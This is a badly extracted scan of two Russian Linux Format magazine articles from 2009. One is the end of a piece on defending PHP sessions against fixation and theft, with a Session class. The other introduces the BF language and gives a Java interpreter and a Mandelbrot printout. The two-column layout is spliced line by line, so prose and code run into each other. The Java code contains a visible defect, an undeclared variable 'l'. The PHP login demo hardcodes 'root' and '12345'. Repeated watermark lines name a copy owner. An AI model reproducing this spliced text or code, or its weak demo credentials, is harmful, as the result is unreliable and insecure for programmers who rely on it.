Предположим, что злоумышленник готовит атаку типа
«подмена сессии» и сумел установить свой идентифика- Безопасное хранение данных сессии
тор сессии в браузер жертвы до того, как пользователь По умолчанию PHP хранит данные сессии в виде фай-
прошел авторизацию и как только пользователь пройдет лов, расположенных в каталоге, путь к которому указан
авторизацию, злоумышленник получит доступ к аккаунту в директиве session.save_path конфигурационного фай-
пользователя. ла php.ini. Имена файлов, хранящие данные сессии, име-
Предотвратить эту ситуацию поможет регенерация ют формат имени вида sess_<идентификатор сессии> (на-
идентификатора сессии. При регенерации идентификато- пример, sess_16d2f54d7ccea580faa02251cce9a5cc), т.е. зная
ра сессии PHP отправит новый идентификатор пользова- имя файла, можно узнать идентификатор сессии. Только
телю, чей запрос привел к регенерации, а старый иденти- интерпретатор PHP и администратор сервера могут иметь
фикатор будет более недоступен. доступ к каталогу с сессиями и никто более.
Например, если приложение будет регенерировать Часто на одном веб-сервере работает множество PHP-
идентификатор сессии в момент авторизации, то даже ес- приложений, принадлежащих разным людям (разным поль-
ли злоумышленник установит свой идентификатор, поль- зователям хостинга). Если для всех приложений PHP ис-
зователь получит новый идентификатор сессии в момент пользует одну и ту же папку для хранения файлов сессии,
авторизации, а идентификатор, установленный злоумыш- это потенциально позволяет организовать атаку типа «от-
ленником, перестанет существовать. равленная сессия».
Для успешной защиты от подмены сессии необходимо Для повышения безопасности можно переопределить
регенерировать идентификатор в следующих случаях: имя папки, хранящей файлы сессий. Для этого в PHP су-
n в момент создания новой сессии; ществует функция session_save_path, помогающая устано-
n в момент изменения привилегий пользователя (напри- вить свой путь до папки, где будут храниться файлы с дан-
мер, авторизация пользователя). ными сессий пользователей.
Кроме того, PHP позволяет с помощью функции session_
В PHP для регенерации идентификатора сессии су- set_save_handler переопределить стандартный механизм
ществует функция session_regenerate_id(), рассмотрим хранения данных сессии. Описание принципа действия

62
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
и пример использования session_set_save_handler мож- // уничтожаем сессию
self::destroy();
но найти по адресу: http://php.net/manual/ru/function.session-
set-save-handler.php. // Обрабатываем ошибку
die($error);
В качестве хранилища данных сессии можно использо- }
вать БД, что в большинстве случаев позволяет повысить
} else {
уровень безопасности. Для хранения данных в БД мож- // Создана новая сессия
но создать собственный класс (см. http://shiflett.org/articles/ $_SESSION[self::browserSignKeyName] = ↵
$browserSign;
storing-sessions-in-a-database) или воспользоваться PHP-
расширением PostgreSQL Session Save Handler (см. http:// // Изменяем идентификатор сессии
self::changeId();
www.php.net/manual/ru/book.session-pgsql.php). }
Данный механизм защиты позволяет минимизировать
вероятность атаки типа «отравление сессии». }

public static function changeId(){


Класс для безопасного управления session_regenerate_id(true);
сессией }
Воспользуемся приведенными выше теоретическими вы- public static function destroy() {
кладками для написания собственного класса управле- session_unset();
session_destroy();
ния сессиями, гарантирующего приемлемый уровень бе- $_SESSION = array();
зопасности. Создавать экземпляр класса в нашей ситу- }
ации нет необходимости, поэтому все методы класса бу- private static function getBrowserSign() {
дут статичными. return MD5(self::browserSignRandHash.':'. ↵
$_SERVER['HTTP_USER_AGENT']);
<?php }
/* Класс для управления сессиями */ }
class Session { ?>
const browserSignRandHash = 'W2452Sfdxrf3#';
const browserSignKeyName = '__app_session_fp'; Рассмотрим пример использования класса Session
для авторизации пользователя:
const cookieName = 'PSID'; // Имя cookie сессии
const lifetime = 0; // Cookie существует
// до закрытия окна браузера <?php
const path = '/'; // Путь cookie // Пример использования класса для управления сессиями
const domain = ''; // Домен include “Session.php”;
const secure = false; // Использовать HTTPS
// для установки cookie Session::start();
const httponly = true; // Использовать HTTP-only
// cookie if($_REQUEST['login'] == 'root' && ↵
$_REQUEST['password'] == '12345'){
/* Метод для старта сессии */ Session::changeId();
public static function start() { $_SESSION['isAdmin'] = true;
echo 'Вы успешно прошли авторизацию';
// Принимать идентификатор сессии только из cookie
// (лучше прописать соответствующие директивы } else {
// в php.ini) $_SESSION['isAdmin'] = false;
@ini_set('session.use_trans_sid', false); echo 'Ошибка в имени или пароле!';
@ini_set('session.use_only_cookies', true); }
?>
// Устанавливаем собственное имя cookie, хранящей
// ID сессии Класс Session обеспечивает приемлемый уровень за-
session_name(self::cookieName);
щиты против кражи или подмены сессии, но не защищает
// Задаем параметры cookie для хранения от «отравленных» сессий и не является идеальным реше-
// идентификатора сессии
session_set_cookie_params(self::lifetime, ↵ нием для всех проектов. Разные типы приложений требуют
self::path, self::domain, ↵ разных мер безопасности, поэтому для реального проекта
self::secure, self::httponly);
необходимо определить основные источники угроз и моди-
session_start(); фицировать класс таким образом, чтобы обеспечить адек-
// Вычисляем подпись браузера ватные меры защиты.
$browserSign = self::getBrowserSign();

// новая сессия или нет 1. Механизм работы с сессиями в PHP – http://php.net/manual/en/


if(isset($_SESSION[self::browserSignKeyName])) { book.session.php.
// Проверим подпись браузера и значение 2. Описание атаки «подмена сессии» – http://shiflett.org/articles/
// из сессии session-fixation.
if($_SESSION[self::browserSignKeyName] != ↵
$browserSign) { 3. Описание атаки «кража сессии» – http://shiflett.org/articles/
session-hijacking.
// Попытка взлома
$error = 'Browser sign do not match: ↵ 4. Описание атаки «отравление сессии» – http://en.wikipedia.org/
in session = ['.$_SESSION ↵ wiki/Session_poisoning.
[self::browserSignKeyName].'] ↵
users = ['.$browserSign.']'; 5. Хранение сессии в базе данных – http://shiflett.org/articles/
storing-sessions-in-a-database.

№2, февраль 2009 63


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование

Обманчивая простота языка BF:


генезис или мутация?

Алексей Вторников
Обычно новый язык программирования является либо стремлением увеличить эффективность
программирования (сравните: машинные коды → ассемблеры → Fortran → Algol → ...),
либо как ответ на недостаточность выразительных средств существующих языков
для решения сложных задач обработки информации – списков, графов, деревьев,
логических выводов... (IPL-V, Lisp и функциональное программирование, Snobol, Prolog и др.).
Бывает, новый язык программирования рождается в процессе исследовательской работы
(например, SQL). Тема настоящей статьи – язык программирования, чье появление во многом
обусловлено интеллектуальной «шалостью» его создателя. В отличие от большинства таких
забав, быстро появляющихся и еще быстрее исчезающих, та, которой посвящена эта статья,
благополучно живет и развивается.

Немного истории составлял жалкие 1024 байта, но эта ние с английского на русский я не рис-
Язык программирования, о котором цель была перевыполнена: длина ори- кну – оно звучит откровенно неприлич-
идет речь, никак нельзя назвать моло- гинального компилятора Мюллера, на- но (по-английски, впрочем, тоже). Ви-
дым – ему уже больше полутора десят- писанного на ассемблере для компью- димо, именно поэтому достаточно быс-
ков лет. В 1993 году швейцарский про- тера Amiga, составила всего 240 байт. тро оригинальное название языка со-
граммист Урбан Мюллер (Urban Muller) Правда, исходный язык программиро- кратили до BF.
задался целью разработать язык про- вания получился весьма необычным – Чтобы понять, почему язык полу-
граммирования с минимально воз- кое-чем пришлось «пожертвовать». чил такое необычное имя, давайте рас-
можным объемом компилятора (согла- Язык включал в себя всего во- смотрим его описание. В отличие от по-
ситесь, необычная обратная задача: семь примитивных команд и требо- давляющего большинства других язы-
разработать не компилятор для язы- вал от программиста мобилизации ков программирования, чьи описания
ка, а язык для компилятора так, чтобы серьезных интеллектуальных усилий нередко занимают сотни страниц, опи-
размер последнего не превышал напе- при написании программ, из-за чего сание BF очень компактно. Это, разу-
ред заданного объема). Предполагае- и получил недвусмысленное назва- меется, не означает, что программиро-
мый предельный объем компилятора ние Brainfuck. Переводить это назва- вание на BF простое занятие – как раз

64
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование
нет, но ограниченные рамки журналь- Следующие две команды – всем хо- +--+--+--+--+--+--+--+--+--+
| | | | | | | | | | ...
ной публикации не позволяют мне рошо знакомые команды увеличения +--+--+--+--+--+--+--+--+--+
сколько-нибудь подробно останавли- и уменьшения. Первая из них («+») уве-
Рисунок 1. Графическое представление
ваться на этом, и поэтому заинтересо- личивает на единицу значение, содер- область памяти
ванного читателя я отсылаю к ссылкам жащееся в ячейке памяти под указате-
на ресурсы в конце статьи. лем, вторая («-») уменьшает на едини- который подобен конструкции «while»
цу значение в ячейке памяти под ука- знакомого по языкам программиро-
Среда исполнения зателем. На языке C это было бы за- вания C или Java: цикл выполняется
и синтаксис BF писано как «++*pointer» и «--*pointer». пока не 0.
В распоряжении программиста име- Опять же, при реализации BF необхо- Выше я говорил о том, что команды
ется область памяти некоторого объ- димо следить за переполнением зна- «[» и «]» всегда «работают» совместно.
ема (исторически, обычно 215-1 ячеек, чений в ячейках. Иными словами, точно так же, как и
чего обычно вполне достаточно даже Для связи с внешним миром в язы- в арифметическом выражении, скоб-
для весьма больших BF-программ). ке BF имеются две команды. Первая ки «[» и «]» должны быть правильно
Графически удобно представлять об- из них «.» (точка) печатает на экране вложены (сбалансированы).
ласть памяти как одномерный массив символ, чей ASCII-код хранится в ячей- Ниже приведен пример правильно-
целых чисел, расположенный горизон- ке памяти под указателем. Вторая ко- го вложения:
тально (см. рис. 1). манда «,» (запятая) приглашает к вводу
Доступ к ячейкам памяти осущест- символа с клавиатуры; ASCII-код это- [[][[[]]]]
вляется по указателю, подобно тому, го символа запоминается в ячейке па-
как это делается в языке C. В каждый мяти под указателем. Следующая (по- А вот эти последовательности ко-
момент времени указатель «обозрева- видимому, минимальная) программа манд «[» и «]» вложены неправильно:
ет» одну ячейку памяти. Те, кто не зна- на BF иллюстрирует эти команды:
ком с языком C, могут представить [[][]]]
[[[][]]
память просто как массив, а указа- ,.
тель как индекс массива (индексиро- К счастью, баланс скобок «[» и «]»
вание массива начинается с 0). Перед Первая команда ожидает ввода легко проверяется на этапе компиля-
запуском программы на исполнение, символа и сохраняет его ASCII-код ции (см. ниже).
все ячейки памяти инициализируются в текущей ячейке памяти; указатель Вот, собственно, и все описание
нулем, а указатель устанавливается на памяти остается без изменений. Вто- языка BF. Внимательный читатель,
самую левую ячейку памяти. рая команда считывает число из те- безусловно, спросит, а как быть с сим-
В классическом варианте языка кущей ячейки памяти, интерпретиру- волами, не входящими в набор указан-
BF программы и данные разделены: ет его как ASCII-код, переводит в со- ных восьми? А никак – они попросту иг-
память служит только местом хране- ответствующее символьное представ- норируются. Отсюда следует, что лю-
ния данных; это отличительная особен- ление и распечатывает. бой текст, за исключением указанных
ность так называемой «гарвардской» К этому моменту были рассмотре- восьми символов, можно рассматри-
архитектуры. Однако ничто не пре- ны шесть из восьми команд BF: оста- вать как комментарий. Это весьма
пятствует тому, чтобы и данные, и про- лись две последние. Эти команды поз- удобно, в чем читатель, безусловно,
граммы использовали общую память воляют управлять выполнением про- быстро убедится, когда будет состав-
(архитектура «фон Неймана»): для это- граммы и всегда работают «в паре». лять свои программы или разбирать
го, разумеется, необходимо изменить Вот эти команды: «[» и «]». программы, написанные другими. Что-
интерпретатор. В статье, однако, рас- Первая из них проверяет содер- бы читатель мог составить представ-
сматривается классический вариант жимое ячейки памяти под указателем ление, как выглядит типичная BF-про-
языка BF. и сравнивает его с нулем. Если содер- грамма, привожу исходный код, печа-
Указатель может передвигаться жимое этой ячейки равно 0, то управ- тающий каноническое «Hello World!»:
вдоль памяти вперед (вправо) и на- ление выполнением программы пере-
зад (влево), последовательно перехо- дается на команду за парной ей скоб- >+++++++++[<++++++++>-]<.>+++++++
[<++++>-]<+.+++++++..+++.[-]>++++
дя от одной ячейки к другой. Для это- кой «]». Если не 0, то выполняются ко- ++++ [<++++>-]<.>+++++++++++[<++
го в BF имеются соответствующие манды, следующие после этой скобки +++>-]<.>++++++++[<+++>-]<.+++.--
----.--------.[-] >++++++++[<++++>
команды «>» и «<». В обозначени- вплоть до парной «]». Так реализуется -]<+.[-]++++++++++.
ях языка C эти команды можно за- передача управления вперед.
писать как «++pointer» и «--pointer» Теперь о второй команде. Если со- Попытайтесь вручную «прокрутить»
(здесь «pointer» – указатель на целое). держимое ячейки под указателем па- эту программу. Теперь стало понятней,
Очевидно, что в силу ограниченнос- мяти не 0, то управление передается почему язык получил свое имя?
ти объема выделенной памяти необ- назад, к первой команде после пар-
ходимо следить за тем, чтобы указа- ной «[». Если же содержимое памяти Интерпретатор
тель не выходил за границы отведен- под указателем 0, то выполняется ко- Ниже приводится исходный код ин-
ной памяти, и предпринимать соответ- манда, следующая за «]». Таким обра- терпретатора BF, написанный на Java.
ствующие меры. зом, эти две команды реализуют цикл, Для ясности восприятия исходный код

№2, февраль 2009 65


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование
несколько упрощен (в частности, не предпринимаются ни- memory [pointer] = in [0];
} catch (IOException e) {System.out.println ↵
какие действия при выходе за границы памяти и перепол- ("Ошибка чтения");}
нении). Тех читателей, которые хотели бы написать свой }
интерпретатор или посмотреть его реализацию на дру- // // Если 0, то сдвинуться вперед до парной «]»
гих языках программирования, отсылаю к ссылкам в кон- public void startJump () {
if (memory [pointer] == 0) {
це статьи (кстати, я сам оттуда же позаимствовал многие pc++;
идеи и приемы). while (level > 0 || code [pc] != ']') {
if (code [pc] == '[') level++;
if (code [pc] == ']') level--;
// Интерпретатор BrainFuck pc++;
import java.io.*; }
}
public class BrainFuck { }
private final int MEMORY_SIZE = 32767; // Объем памяти
private char [] code; // Текст программы // Если не 0, то сдвинуться назад к парной «[»
private byte [] memory; // Память public void endJump () {
private int pc; // Программный счетчик if (memory [pointer] != 0) {
private int pointer; // Текущая ячейка памяти pc--;
private int level; // Уровень вложенности [ и ] while (level > 0 || code [pc] != '[') {
if (code [pc] == ']') level++;
// Конструктор класса if (code [pc] == '[') level--;
public BrainFuck (File f) throws IOException { pc--;
code = open (f).toCharArray (); }
cleanCode (); }
checkBrackets (); }
// Инициализировать память и программный счетчик
memory = new byte [MEMORY_SIZE]; // Открыть файл с исходным текстом программы
for (int i = 0; i < MEMORY_SIZE; i++) memory [i] = 0; // на BrainFuck
pc = pointer = l = 0; private String open (File f) {
interpret (); String s = "";
}
try {
// Собственно, интерпретатор String line = "";
private void interpret () { BufferedReader br = new BufferedReader ↵
for (pc = 0; pc < code.length; pc++) { (new FileReader (f));
switch (code [pc]) { while ((line = br.readLine ()) != null) {
case '>': incrementPointer (); break; if (line.length () > 0) {
case '<': decrementPointer (); break; line = line.trim ();
case '+': incrementByteAtPointer (); break; }
case '-': decrementByteAtPointer (); break; s += line;
case '.': output (); break; }
case ',': input (); break; br.close();
case '[': startJump (); break; } catch (IOException ioe) {
case ']': endJump (); break; ioe.printStackTrace (); System.exit (0);
} }
} return s;
} }
// Указатель на ячейку вправо // Удалить из исходного текста программы
public void incrementPointer () { // «лишние» символы
if (++pointer > MEMORY_SIZE) private void cleanCode () {
System.out.println ("Выход за пределы памяти: " ↵ String newCode = "";
+ MEMORY_SIZE);
} for (int i = 0; i < code.length; i++) {
if (code [i] == '.' || code [i] == ',' ||
// Указатель на ячейку влево code [i] == '+' || code [i] == '-' ||
public void decrementPointer () { code [i] == '<' || code [i] == '>' ||
if (--pointer < 0) code [i] == ']' || code [i] == '[') {
System.out.println ("Ошибка адресации указателя"); newCode += code [i];
} }
}
// Увеличить значение ячейки под указателем на 1 code = newCode.toCharArray ();
public void incrementByteAtPointer () { }
++memory [pointer];
} // Проверить баланс скобок «[» и «]»
public void checkBrackets () {
// Уменьшить значение ячейки под указателем на 1 int counter = 0;
public void decrementByteAtPointer() {
--memory [pointer]; for (int i = 0; i < code.length; i++) {
} switch (code [i]) {
case '[': counter++; break;
// Распечатать содержимое ячейки памяти под указателем case ']': counter--; break;
public void output () { }
byte [] out = {memory [pointer]}; }
String s = new String (out); // Если counter не 0, то скобки «[» и «]»
System.out.print(s); // несбалансированы
} if (counter > 0) {
System.out.println ("Слишком много [");
// Ввести значение в ячейку памяти под указателем System.exit (0);
public void input () { }
BufferedReader stream = new BufferedReader ( ↵ if (counter < 0) {
new InputStreamReader (System.in)); System.out.println ("Слишком много ]");
try { System.exit (0);
String str = stream.readLine (); }
byte [] in = str.getBytes (); }

66
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование
самым простым) так называемых «базисов» – минималь-
// Точка входа... ных конструкций, используемых для исследования алго-
public static void main (String [] args) {
if (args.length > 0) { ритмов и построении теоретических моделей вычислимых
try {new BrainFuck (new File (args [0]));} функций. Это, однако, совсем другая история.
catch (IOException ioe) {
ioe.printStackTrace (); Напоследок (для тех, у кого остаются сомнения в воз-
System.exit (0); можностях языка BF) привожу результат работы BF-про-
}
} else { граммы, строящей фрактальное множество Бенуа Ман-
System.out.println ("Синтаксис: ↵ дельброта (см. рис. 2).
java BrainFuck исходный_файл");
System.exit (0);} Вот, собственно, и все. Если читатель имеет склонность
} к решению сложных задач, то язык BF, пожалуй, способен
}
удовлетворить такой взыскательный вкус. Желаю этому чи-
Учитывая простоту синтаксиса BF, интерпретатор реа- тателю успехов и открытий в освоении такого удивитель-
лизован что называется «в лоб». но простого и одновременно такого сложного языка про-
В точке входа (метод main()) считывается имя файла граммирования, как BF.
с исходным текстом BF-программы. Содержимое файла
сохраняется в строку, из которой удаляются все символы, 1. http://en.wikipedia.org/wiki/Brainfuck – общее введение в BF с ил-
не относящиеся к языку BF (метод cleanCode()); после та- люстративными примерами.
кой «очистки» интерпретировать программу гораздо про- 2. http://www.nettwerked.net/K-1ine_44.txt – прекрасное описание
ще. Метод checkBrackets() сканирует эту строку и прове- BF, написанное программистом и для программистов.
ряет в нем баланс скобок «[» и «]» стандартным методом 3. http://esoteric.sange.fi/brainfuck – богатая коллекция интерпре-
счетчика. таторов, компиляторов и исходных текстов BF‑программ.
Если скобки сбалансированы, то инициализируют- 4. http://community.livejournal.com/ru_brainfucker – русскоязычное
ся область памяти, программный счетчик и указатель па- сообщество по языку BF. Много интересных и полезных све-
мяти, после чего начинается интерпретация кода (метод дений не только по BF, но и по другим так называемым «эзо-
interpret()). Интерпретатор считывает команду за командой, терическим» языкам программирования.
передает управление соответствующему методу и увели- 5. http://bf.kzn.ru – еще один сайт на русском языке, посвящен-
чивает значение программного счетчика. ный языку BF. Здесь вы найдете интересную информацию, ре-
Обратите внимание на методы startJump() и endJump(): комендую посетить.
их назначение – поиск в исходном коде парных скобок (со- 6. http://mozaika.com.au/oleg/zhur/mozg10r1.html – ссылка для на-
ответственно, поиск «]» и «[») и корректировка значения про- стоящих любителей вывернуть мозг наизнанку. В статье О. Ма-
граммного счетчика (причем корректировка может проис- зонки и Д. Кристофани рассматривается и исчерпывающим
ходить как в сторону увеличения, так и уменьшения – все образом разбирается самоинтерпретатор языка BF (интер-
зависит от того, какая скобка ищется). Переменная level от- претатор языка BF, написанный на нем же).
слеживает уровень вложенности и по-
могает искать парную скобку. AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDEGFFEEEEDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
AAAAAAAAAAAAAAABBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDEEEFGIIGFFEEEDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBB
AAAAAAAAAAAAABBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEFFFI KHGGGHGEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBB
AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEFFGHIMTKLZOGFEEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBB
Заключительные AAAAAAAAAAABBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEEFGGHHIKPPKIHGFFEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBBBB
AAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGHIJKS X KHHGFEEEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBB
замечания AAAAAAAAABBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGQPUVOTY ZQL[MHFEEEEEEEDDDDDDDCCCCCCCCCCCBBBBBBBBBBBBBB
AAAAAAAABBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEFFFFFGGHJLZ UKHGFFEEEEEEEEDDDDDCCCCCCCCCCCCBBBBBBBBBBBB
Разумеется, язык BF абсолютно AAAAAAABBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEFFFFFFGGGGHIKP
AAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEEFGGHIIHHHHHIIIJKMR
KHHGGFFFFEEEEEEDDDDDCCCCCCCCCCCBBBBBBBBBBB
VMKJIHHHGFFFFFFGSGEDDDDCCCCCCCCCCCCBBBBBBBBB
не практичен, но если вы ищете спо- AAAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDEEEEEEFFGHK MKJIJO N R X
AAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDEEEEEEEEEFFFFGH O TN S
YUSR PLV LHHHGGHIOJGFEDDDCCCCCCCCCCCCBBBBBBBB
NKJKR LLQMNHEEDDDCCCCCCCCCCCCBBBBBBB
соб изысканно и нестандартно сойти AAAAABBCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDEEEEEEEEEEEEFFFFFGHHIN
AAAABBCCCCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEFFFFFFGHIJKLOT
Q UMWGEEEDDDCCCCCCCCCCCCBBBBBB
[JGFFEEEDDCCCCCCCCCCCCCBBBBB
AAAABCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEEFFFFFFGGHYV RQU QMJHGGFEEEDDDCCCCCCCCCCCCCBBBB
с ума, то трудно найти что-либо срав- AAABCCCCCCCCCCCCCCCCCDDDDDDDEEFJIHFFFFFFFFFFFFFFGGGGGGHIJN JHHGFEEDDDDCCCCCCCCCCCCCBBB
AAABCCCCCCCCCCCDDDDDDDDDDEEEEFFHLKHHGGGGHHMJHGGGGGGHHHIKRR UQ L HFEDDDDCCCCCCCCCCCCCCBB
нимое. AABCCCCCCCCDDDDDDDDDDDEEEEEEFFFHKQMRKNJIJLVS JJKIIIIIIJLR YNHFEDDDDDCCCCCCCCCCCCCBB
AABCCCCCDDDDDDDDDDDDEEEEEEEFFGGHIJKOU O O PR LLJJJKL OIHFFEDDDDDCCCCCCCCCCCCCCB
Замечу, что с математической точ- AACCCDDDDDDDDDDDDDEEEEEEEEEFGGGHIJMR RMLMN NTFEEDDDDDDCCCCCCCCCCCCCB
AACCDDDDDDDDDDDDEEEEEEEEEFGGGHHKONSZ QPR NJGFEEDDDDDDCCCCCCCCCCCCCC
ки зрения язык BF полон по Тьюрин- ABCDDDDDDDDDDDEEEEEFFFFFGIPJIIJKMQ VX HFFEEDDDDDDCCCCCCCCCCCCCC
ACDDDDDDDDDDEFFFFFFFGGGGHIKZOOPPS HGFEEEDDDDDDCCCCCCCCCCCCCC
гу, то есть при наличии достаточного ADEEEEFFFGHIGGGGGGHHHHIJJLNY TJHGFFEEEDDDDDDDCCCCCCCCCCCCC
A PLJHGGFFEEEDDDDDDDCCCCCCCCCCCCC
объема памяти с его помощью можно ADEEEEFFFGHIGGGGGGHHHHIJJLNY TJHGFFEEEDDDDDDDCCCCCCCCCCCCC
ACDDDDDDDDDDEFFFFFFFGGGGHIKZOOPPS HGFEEEDDDDDDCCCCCCCCCCCCCC
вычислить все то, что может вычис- ABCDDDDDDDDDDDEEEEEFFFFFGIPJIIJKMQ VX HFFEEDDDDDDCCCCCCCCCCCCCC
AACCDDDDDDDDDDDDEEEEEEEEEFGGGHHKONSZ QPR NJGFEEDDDDDDCCCCCCCCCCCCCC
лить машина Тьюринга. И, следова- AACCCDDDDDDDDDDDDDEEEEEEEEEFGGGHIJMR RMLMN NTFEEDDDDDDCCCCCCCCCCCCCB
AABCCCCCDDDDDDDDDDDDEEEEEEEFFGGHIJKOU O O PR LLJJJKL OIHFFEDDDDDCCCCCCCCCCCCCCB
тельно, возможности языка BF не сла- AABCCCCCCCCDDDDDDDDDDDEEEEEEFFFHKQMRKNJIJLVS JJKIIIIIIJLR YNHFEDDDDDCCCCCCCCCCCCCBB
AAABCCCCCCCCCCCDDDDDDDDDDEEEEFFHLKHHGGGGHHMJHGGGGGGHHHIKRR UQ L HFEDDDDCCCCCCCCCCCCCCBB
бее возможностей любых других язы- AAABCCCCCCCCCCCCCCCCCDDDDDDDEEFJIHFFFFFFFFFFFFFFGGGGGGHIJN JHHGFEEDDDDCCCCCCCCCCCCCBBB
AAAABCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEEFFFFFFGGHYV RQU QMJHGGFEEEDDDCCCCCCCCCCCCCBBBB
ков программирования, таких, к при- AAAABBCCCCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEFFFFFFGHIJKLOT [JGFFEEEDDCCCCCCCCCCCCCBBBBB
AAAAABBCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDEEEEEEEEEEEEFFFFFGHHIN Q UMWGEEEDDDCCCCCCCCCCCCBBBBBB
меру, как ассемблер, C, Java и прочее. AAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDEEEEEEEEEFFFFGH O TN S NKJKR LLQMNHEEDDDCCCCCCCCCCCCBBBBBBB
AAAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDEEEEEEFFGHK MKJIJO N R X YUSR PLV LHHHGGHIOJGFEDDDCCCCCCCCCCCCBBBBBBBB
В это непросто поверить, но матема- AAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEEFGGHIIHHHHHIIIJKMR VMKJIHHHGFFFFFFGSGEDDDDCCCCCCCCCCCCBBBBBBBBB
AAAAAAABBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEFFFFFFGGGGHIKP KHHGGFFFFEEEEEEDDDDDCCCCCCCCCCCBBBBBBBBBBB
тика, из которой следует заключение AAAAAAAABBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEFFFFFGGHJLZ UKHGFFEEEEEEEEDDDDDCCCCCCCCCCCCBBBBBBBBBBBB
AAAAAAAAABBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGQPUVOTY ZQL[MHFEEEEEEEDDDDDDDCCCCCCCCCCCBBBBBBBBBBBBBB
(теория вычислимости и рекурсивных AAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGHIJKS X KHHGFEEEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBB
AAAAAAAAAAABBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEEFGGHHIKPPKIHGFFEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBBBB
функций), не нуждается в вере. Язык AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEFFGHIMTKLZOGFEEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBB
AAAAAAAAAAAAABBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEFFFI KHGGGHGEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBB
BF, при всей его непрактичности, мо- AAAAAAAAAAAAAAABBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDEEEFGIIGFFEEEDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBB

жет служить примером (причем, еще не Рисунок 2. Фрактальное множество Бенуа Мандельброта, построенное BF-программой

